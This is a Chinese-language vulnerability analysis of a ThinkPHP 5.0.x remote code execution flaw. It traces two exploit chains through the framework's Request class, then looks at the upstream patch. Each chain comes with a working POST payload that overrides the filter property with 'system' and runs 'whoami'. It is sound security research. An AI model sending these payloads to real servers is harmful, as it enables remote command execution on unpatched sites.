ThinkPHP5.0.x RCE分析

  • A+

漏洞分析-利用链1

漏洞复现


```
http://127.0.0.1/think5.0.22/public/index.php?s=captcha

POST:
_method=__construct&filter[]=system&method=get&get[]=whoami
```

漏洞分析

漏洞起始点位于thinkphp/library/think/Request.phpmethod方法

php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

thinkphp的默认中配置中设置了表单请求类型伪装变量如下


可以通过POST数组传入__method改变$this->{$this->method}($_POST);达到任意调用此类中的方法。
Request类的构造函数__construct代码如下

``` php
<?php
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}

// 保存 php://input
$this->input = file_get_contents('php://input');

}
``
利用
foreach循环,和POST传入数组即可对Request对象的成员属性进行覆盖。其中$this->filter保存着全局过滤规则,通过覆盖得到了$this->filter=system,后面的php://input中也传入了method=get`,所以最后

那么程序的入口在哪里呢,thinkphp是单入口,所以在public/index.php里

php
require __DIR__ . '/../thinkphp/start.php';

下一个断点,跟踪调试
进入App.phprun方法,截取部分

``` php
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;

try {
    ...
    // 获取应用调度信息
    $dispatch = self::$dispatch;

    // 未设置调度信息则进行 URL 路由检测
    if (empty($dispatch)) {
        $dispatch = self::routeCheck($request, $config);
    }
    ...

    $data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
    ...
}
...

}
``
首先是经过
$dispatch = self::routeCheck($request, $config)检查调用的路由
payload中,访问的urlindex.php?s=captcha。在vendor/topthink/think-captcha/src/helper.phpcaptcha注册了路由
![](https://www.ghtwf01.cn/usr/uploads/2020/07/602137424.png)
返回为
$dispatch=method`

进入Route::check方法通过$method = strtolower($request->method());进入我们最开始分析的漏洞产生点,从routeCheck方法出来后根据$dispatch的不同进入下面的self::exec($dispatch, $config)
$dispatch=method

php
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;

会调用Request::instance()->param()
跟进param方法

php
<?php
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
...
}
...
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
...
return $this->input($this->param, $name, $default, $filter);
}

这里使用array_merge函数合并了$this->get,因为我们传入了get[]=whoami,所以$this->param值如下


最后return时使用了input方法,跟进一下

php
<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
}
...
}

继续跟进getFilter方法

``` php
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

    $filter[] = $default;
    return $filter;
}

``$filter的值为$this->filter,在最开始的分析中在foreach里面将$this->filter赋值为了system![](https://www.ghtwf01.cn/usr/uploads/2020/07/69003654.png)
回到
input方法,先整理一下现在有的,通过getFilter方法得到$filter数组里面有systempublic function input($data = [], $name = '', $default = null, $filter = '')里面的$data是通过$this->param传进来的,也就是$data是数组里面有whoami进入array_walk_recursive`方法,对于每一个值调用filterValue函数,跟进一下

php
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
......


成功执行命令

漏洞分析-利用链2

漏洞复现

```
http://127.0.0.1/think5.0.22/public/index.php?s=captcha

POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
```

漏洞分析

上一个调用链是param->method->input->getFilter->rce
回到param方法

php
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
...
}
...
}

跟进$this->method(true)

php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
}
...
}

上一条链是在这儿returnGET,但是这儿可以让它返回$this->server('REQUEST_METHOD'),跟进

php
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

这儿同样有一个input,通过payload知道,我们已经传入了server[REQUEST_METHOD]=whoami$this->server是一个数组
跟进input方法

``` php
$filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } else {
        $this->filterValue($data, $name, $filter);
    }

``
通过
getFilter得到$filter是包含system的数组,这里的$data$this->server传过来的,也就是最开始是一个数组,通过如下代码
![](https://www.ghtwf01.cn/usr/uploads/2020/07/892568092.png)
值变为了
whoami,所以会进入$this->filterValue`方法,跟进一下
成功执行命令

补丁分析

补丁地址:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

问题的根源在于请求方法的获取接收了不可信数据,因此补丁中设置了白名单,如下

参考链接

https://xz.aliyun.com/t/7792
https://xz.aliyun.com/t/3845
https://y4er.com/post/thinkphp5-rce/

相关推荐: 持久性 - DLL劫持

概述 原文: https://pentestlab.blog/2020/03/04/persistence-dll-hijacking/ by Administrator.In Persistence.Leave a Comment 当一个程序启动时,许多DL…